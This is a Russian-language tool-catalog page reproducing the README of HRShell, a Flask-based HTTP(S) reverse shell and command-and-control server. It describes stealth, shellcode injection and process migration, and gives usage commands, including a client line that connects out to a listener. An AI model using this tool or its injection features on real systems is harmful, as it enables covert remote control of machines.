Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HRShell — HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей. | Kitploit
Инструменты/GitHubGitHub/chrispetrou/hrshell
Инструменты шифрования/дешифрованияЭксплуатацияОбратная инженерияШелл-кодПост-эксплуатацияВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной НагрузкиArchived
248694 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
chrispetrou/hrshell

HRShell

HRShell — это HTTPS/HTTP reverse shell, созданный на базе flask. Это продвинутый C2-сервер с множеством функций и возможностей.

Репозиторий
HRShell: Продвинутый HTTP(S) Reverse Shell, созданный с помощью Flask

GPLv3 license version Known Vulnerabilities



HRShell — это обратная оболочка HTTPS/HTTP, построенная на Flask и совместимая с python 3.x. client.py был успешно протестирован на:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

в то время как server.py совместим с Unix-системами (поддержка Windows вскоре появится...)

Возможности

  • Скрытность
  • Поддержка TLS 🔑
    • Либо с использованием сгенерированных на лету сертификатов,
    • Либо с указанием пары сертификат/ключ (подробнее ниже...)
  • Внедрение шелл-кода 💉 (подробнее ниже...)
    • Внедрение шелл-кода в поток/порожденный процесс текущего процесса
      • Поддерживаемые платформы:
        • Windows x86
        • Unix x86
        • Unix x64
    • или внедрение шелл-кода в другой процесс (migrate <PID>) с указанием его PID
      • Поддерживаемые платформы:
        • Windows x86
        • Windows x64
  • Шелл-код можно задавать/изменять на лету с сервера (подробнее ниже...)
  • Поддержка прокси на стороне клиента.
  • Навигация по каталогам (команда cd и её варианты).
  • Интерактивная команда history доступна в Unix-системах.
  • Доступны команды download/upload/screenshot/hex.
  • Поддерживаются конвейеры (|) и цепочки команд (;).
  • Поддержка любых неинтерактивных команд (таких как gdb, top и т.д.).
  • Сервер способен работать как по HTTP, так и по HTTPS.
  • В настоящее время поставляется с двумя встроенными серверами 🌐... встроенный Flask и tornado-WSGI, а также совместим с другими production-серверами, такими как и .

*Информацию об изменениях версий см. в CHANGELOG.

Подробности


Скрытность :shipit:

HRShell скрытен, поскольку использует протокол HTTP(S) в качестве метода связи между клиентом и сервером. Кроме того, при использовании TLS трафик также шифруется. Также, если сертификат не прописан жёстко на стороне клиента (что является возможным вариантом) и не используется команда upload, то client.py вообще не обращается к диску.

TLS 🔑

На стороне сервера: Если не указан параметр --http, по умолчанию server.py использует HTTPS с самоподписанными сертификатами, создаваемыми на лету, поскольку это встроенная возможность Flask. Но если указан параметр -s tornado, чтобы сервер использовал TLS, необходимо указать параметры --cert и --key следующим образом:

root@kitploit:~
python server.py -s tornado --cert /путь/cert.pem --key /путь/key.pem

Можно использовать как "настоящие" сертификаты, так и сгенерировать пару сертификат/ключ, например, с помощью mkcert или напрямую openssl:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Пару сертификат/ключ также можно использовать с сервером Flask:

root@kitploit:~
python server.py --cert /путь/cert.pem --key /путь/key.pem

⚠️ Если сервер использует TLS, то по дизайну клиент не может подключиться к серверу по http://..., а должен явно использовать https.

На стороне клиента: По умолчанию верификация SSL на клиенте отключена, за исключением случаев:

  • либо указан параметр --cert, например:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /путь/cert.pem
    
  • либо переменная CERT вместо значения None по умолчанию предварительно установлена в валидный сертификат, например:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    В этом случае client.py попытается создать скрытый файл .cert.pem на лету и будет использовать его.

⚠️ То, что проверка SSL по умолчанию отключена на клиенте, не означает, что TLS также отключён; TLS будет включён, если его использует сервер, поэтому TLS полностью зависит от сервера. Параметр --cert на клиенте существует просто как альтернативный способ для сервера и клиента иметь зашифрованную сессию, и это всё.

Внедрение шелл-кода 💉

Существует два "режима" внедрения шелл-кода с использованием следующих двух команд соответственно:

  1. migrate <PID>: С помощью этой команды мы можем внедрить шелл-код в адресное пространство другого процесса, указав его PID. Пока эта команда может применяться только на платформах Windows x86/x64!
  1. inject shellcode: С помощью этой команды создаётся новый поток (или порождённый процесс в Unix-системах) нашего текущего процесса, и внедрение шелл-кода происходит в его адресное пространство. В результате наш HTTP(S)-шелл не затрагивается внедрением. Платформы, на которых можно применять эту команду: Unix x86/x64, Windows x86!
Примечания
  • Если внедрение происходит в процесс, разрешения процесса играют очень важную роль. Не всегда возможно внедриться в любой процесс из-за отсутствия соответствующих привилегий.

Установка/изменение шелл-кода

Есть два способа указать/установить, какой тип шелл-кода должен выполнять клиент:

  • Либо предварительно установить переменную shellcode в скрипте client.py как валидный шелл-код,
  • Либо использовать команду set shellcode <shellcode-id> для этого на лету. С помощью этой команды вы можете обновлять шелл-код на стороне клиента со стороны сервера сколько угодно раз!

Первый способ довольно прямолинейный. Однако, чтобы использовать второй, более удобный способ (поскольку вы также можете изменять уже указанный шелл-код), вам нужно настроить скрипт shellcodes/utils.py так, чтобы он содержал нужные вам шелл-коды. Скрипт содержит пример того, как это сделать.

💡 Вы можете изменять/обновлять скрипт shellcodes/utils.py даже после запуска server.py сколько угодно раз, так как server.py будет динамически использовать самую последнюю/актуальную версию. Таким образом, вы можете устанавливать и изменять шелл-коды на ходу...

Доступные команды:

Специальные команды:

Любая другая команда поддерживается, если она не интерактивная (например, gdb, top и т.д.). Также, набрав python server.py -h или python client.py -h, вы можете получить информацию о доступных аргументах сервера и клиента.

Примечание: Если клиент подключён к серверу и мы хотим завершить сервер, перед тем как нажать CTRL+C, мы должны закрыть соединение с помощью команды exit.

Создание пользовательских команд

На стороне клиента:

Чтобы создать пользовательскую команду, в общем случае:

  • на стороне клиента должно быть определено правило RegExp, описывающее команду,
  • код для обработки этой команды должен быть добавлен как оператор elif также на стороне клиента.

На стороне сервера:

Если команда требует наличия новой конечной точки на стороне сервера, то:

  • определить конечную точку:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        документация, если необходимо
        """
        ...
        return ...
    
  • затем отредактировать handleGET() так, чтобы перенаправлять клиента на эту конечную точку:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • внести соответствующие правки в handlePOST() для обработки представления результатов.

Аргументы скриптов

Оба скрипта (server.py и client.py) могут быть настроены через аргументы:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: Сервер обратной оболочки HTTP(S) с расширенными возможностями.

аргументы:
  -h, --help      показать это справочное сообщение и выйти
  -s , --server   Указать HTTP(S)-сервер для использования (по умолчанию: flask).
  -c , --client   Принимать соединения только от указанного клиента/IP.
  --host          Указать IP для использования (по умолчанию: 0.0.0.0).
  -p , --port     Указать порт для использования (по умолчанию: 5000).
  --http          Отключить TLS и использовать HTTP.
  --cert          Указать сертификат для использования (по умолчанию: None).
  --key           Указать соответствующий приватный ключ для использования (по умолчанию: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: HTTP(S)-клиент с расширенными возможностями.

аргументы:
  -h, --help      показать это справочное сообщение и выйти
  -s , --server   Указать HTTP(S)-сервер для подключения.
  -c , --cert     Указать сертификат для использования.
  -p , --proxy    Указать прокси для использования [формат: host:port]

📦 Требования:

Для установки требований сервера:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 TODO

  • Добавить больше команд и функций.
  • Исправить потенциальные ошибки.

💭 Вклад и обратная связь

Приветствуются отзывы и вклады. Если вы нашли ошибку или хотите предложить новую функцию, не стесняйтесь открыть issue, и как только я его рассмотрю, я постараюсь исправить это.

Отказ от ответственности

Этот инструмент предназначен только для тестирования и академических целей и может использоваться только при наличии строгого согласия. Не используйте его в незаконных целях! Ответственность за соблюдение всех применимых местных, государственных и федеральных законов лежит на конечном пользователе. Разработчики не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этим инструментом и программным обеспечением в целом.

Авторство и ссылки

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • Отличная статья, найденная здесь.
  • Функция hexdump клиента взята из этого замечательного gist.
  • Логотип HRShell создан на fontmeme.com!

Лицензия

Этот проект лицензирован в соответствии с лицензией GPLv3 - подробности см. в файле LICENSE.

Скачать инструмент
gunicorn
Nginx
  • Как server.py, так и client.py легко расширяемы.
  • Поскольку большая часть функциональности обеспечивается дизайном конечных точек сервера, очень легко написать клиент на любом другом языке, например, Java, GO и т.д.